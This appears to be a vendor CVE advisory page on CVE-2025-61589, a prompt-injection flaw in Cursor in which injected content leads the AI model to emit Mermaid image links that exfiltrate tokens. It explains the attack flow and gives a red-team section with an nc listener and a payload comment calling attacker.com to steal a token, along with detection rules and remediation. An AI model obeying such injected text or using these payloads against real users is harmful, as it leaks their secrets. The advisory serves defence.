☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-61589

CVE-2025-61589 Security Advisory in Cursor
📅 PUBLISHED: 2025-10-03 06:48 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61589 is a medium-severity (CVSS 5.9) prompt injection vulnerability in Cursor, an AI-powered code editor. The flaw resides in the Mermaid diagram rendering engine integrated into Cursor's chat box. An attacker can craft a malicious prompt that, when processed by the AI model, injects an image tag pointing to an attacker-controlled server. When the Mermaid renderer processes this injected image, the victim's browser or Cursor client fetches the image, exfiltrating sensitive data (e.g., session tokens, API keys, or source code snippets) to the attacker. The attack requires user interaction (e.g., opening a malicious file, viewing a compromised web page, or uploading an image) to trigger the prompt injection. The vulnerability is patched in Cursor version 1.7, but additional bypasses were discovered post-fix (see GHSA-43wj-mwcc-x93p).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cursor is a proprietary application, not an open-source package. However, the Mermaid library used for diagram rendering is an open-source JavaScript library. The vulnerability is not in Mermaid itself but in how Cursor integrates and renders Mermaid output without proper sanitization. Users should ensure they are using the latest Cursor version and monitor for updates to the Mermaid library if used in other contexts.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is initiated via network-delivered malicious content.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must open malicious content.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Sensitive data can be exfiltrated.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the potential for data exfiltration (session tokens, API keys) makes it dangerous in targeted attacks.

Deep Dive & Mechanics

The vulnerability exploits Cursor's integration of Mermaid for rendering diagrams in the chat box. Mermaid supports embedding images via ![alt](url) syntax. When a user interacts with malicious content (e.g., a poisoned source code file, a compromised web page, or an uploaded image), the AI model may generate a Mermaid diagram containing an image tag pointing to an attacker-controlled server. The Cursor client then fetches this image, sending sensitive data (e.g., cookies, local storage, or environment variables) as part of the request (e.g., via URL parameters or headers).

Attack Flow:

  1. Attacker crafts a malicious prompt or file containing a Mermaid diagram with an embedded image URL (e.g., ![x](http://attacker.com/steal?data=SECRET)).
  2. Victim opens the malicious content in Cursor, triggering the AI model to process the prompt.
  3. The AI model generates a response containing the injected Mermaid diagram.
  4. Cursor's Mermaid renderer processes the diagram and fetches the image from the attacker's server.
  5. The attacker captures the request, extracting any sensitive data appended to the URL.

Bypass Details (GHSA-43wj-mwcc-x93p): The initial fix in version 1.7 was incomplete. Attackers found ways to bypass sanitization using alternative Mermaid syntax (e.g., using img tags in HTML blocks, or exploiting Mermaid's click event handlers to trigger image loads). These bypasses are documented in the referenced GitHub Security Advisory.

Vulnerable vs. Patched Code

Vulnerable (Cursor < 1.7): The Mermaid renderer does not sanitize image URLs. Any ![alt](url) in the Mermaid output is rendered as an <img> tag, allowing arbitrary image fetches.

// Vulnerable rendering logic (simplified)
function renderMermaid(diagram) {
  // No sanitization of image URLs
  const html = mermaid.render(diagram);
  chatBox.innerHTML = html; // Direct injection
}

Patched (Cursor >= 1.7): The patched version sanitizes image URLs by stripping or blocking external image fetches. It may also use a Content Security Policy (CSP) to restrict image sources.

// Patched rendering logic (simplified)
function renderMermaid(diagram) {
  const html = mermaid.render(diagram);
  // Sanitize: remove all image tags or use a CSP
  const sanitized = sanitizeHtml(html, {
    allowedTags: ['svg', 'div', 'span'],
    allowedAttributes: {}
  });
  chatBox.innerHTML = sanitized;
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A publicly accessible HTTP server to receive exfiltrated data.
  • A malicious file or web page containing a prompt injection payload.

Step 1: Set up listener

# Start a simple HTTP server to capture requests
nc -lvnp 8080

Step 2: Craft malicious payload Create a file (e.g., malicious.py) containing a prompt injection that forces the AI to generate a Mermaid diagram with an image tag.

# malicious.py
# This code, when opened in Cursor, triggers prompt injection
import os

# The AI model will see this comment and generate a Mermaid diagram
# with an embedded image pointing to attacker's server
# ![x](http://attacker.com:8080/steal?token=SECRET)

Step 3: Deliver payload

  • Send the file to the victim via email, chat, or upload to a code repository.
  • Alternatively, host a web page that the victim views in Cursor's web view.

Step 4: Capture exfiltrated data Monitor your listener for incoming requests containing sensitive data.

Blue Team (Defender)

Detection:

  • Monitor network traffic for unexpected outbound connections to unknown IPs/domains, especially on port 80/443.
  • Look for requests containing suspicious URL parameters (e.g., ?token=, ?data=, ?session=).
  • Use endpoint detection to flag Cursor processes making unusual HTTP requests.

Prevention:

  • Update Cursor to version 1.7 or later.
  • Implement a web proxy that blocks outbound connections to untrusted destinations.
  • Educate users not to open untrusted files in Cursor.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP/HTTPS requests to attacker-controlled servers with URL parameters containing sensitive data.
  • File: Files containing Mermaid diagram syntax with external image URLs (e.g., ![x](http://...).
  • Process: Cursor process (Cursor.exe or cursor) making unexpected network connections.
  • Registry/Config: No known registry changes.

Detection Engineering

YARA Rule

rule CVE_2025_61589_Cursor_Mermaid_Exfil {
  meta:
    description = "Detects files containing Mermaid image injection patterns used in CVE-2025-61589"
    author = "Valters IT"
    date = "2025-04-10"
    severity = "medium"
  strings:
    $mermaid_img = /!\[.*\]\(https?:\/\/[^\)]+\)/
    $mermaid_html_img = /<img[^>]+src=["']https?:\/\/[^"']+["']/
  condition:
    any of them
}

Sigma Rule

title: Cursor Mermaid Image Exfiltration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects outbound HTTP requests from Cursor processes to external servers with suspicious URL parameters
author: Valters IT
date: 2025-04-10
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    Image|endswith: '\Cursor.exe'
    DestinationPort: 80
    DestinationHostname: '*'
    UrlParameters|contains: 
      - '?token='
      - '?data='
      - '?session='
  condition: selection
falsepositives:
  - Legitimate use of Mermaid diagrams with external images (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61589 Cursor Mermaid Image Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"?token="; http_uri; nocase; content:"User-Agent: Cursor"; http_header; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  1. Update Cursor to version 1.7 or later.
  2. Apply any additional patches from GHSA-43wj-mwcc-x93p.

Long-term:

  • Implement a Content Security Policy (CSP) in Cursor to restrict image sources to 'self' or trusted domains.
  • Sanitize all Mermaid output before rendering, stripping any HTML tags or attributes that could load external resources.
  • Conduct a security review of all third-party library integrations.

Workaround:

  • Disable Mermaid rendering in Cursor settings if not needed.
  • Use a web application firewall (WAF) or proxy to block outbound connections to unknown IPs.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61589/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.